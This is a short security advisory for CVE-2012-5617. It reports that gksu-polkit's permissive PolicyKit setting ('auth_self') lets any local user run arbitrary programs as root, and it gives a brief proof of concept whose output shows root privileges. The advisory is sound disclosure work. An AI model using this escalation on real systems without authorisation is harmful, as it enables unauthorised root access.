CVE-2012-5617 gksu-polkit: privilege escalation due to improper authentication settings in policykit configuration file

CVE-2012-5617 [HIGH] CVE-2012-5617 gksu-polkit: privilege escalation due to improper authentication settings in policykit configuration file
CVE-2012-5617 gksu-polkit: privilege escalation due to improper authentication settings in policykit configuration file
Miroslav Trmac reported that gksu-polkit ships with an extremely permissive PolicyKit policy configuration file [1]. Because gksu-polkit allows a user to execute a program with administrative privileges, and because the default allow_active setting is "auth_self" rather than "auth_admin", any local user can use gksu-polkit to execute arbitrary programs (like a bash shell) with root privileges.
For example:
$ cat foo.sh
#! /bin/bash
id -a
# not just gksu-polkit id -a because gksu-polkit tries to interpret the -a
# this prompts for user's password only
$ gksu-polkit /home/user/foo.sh
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
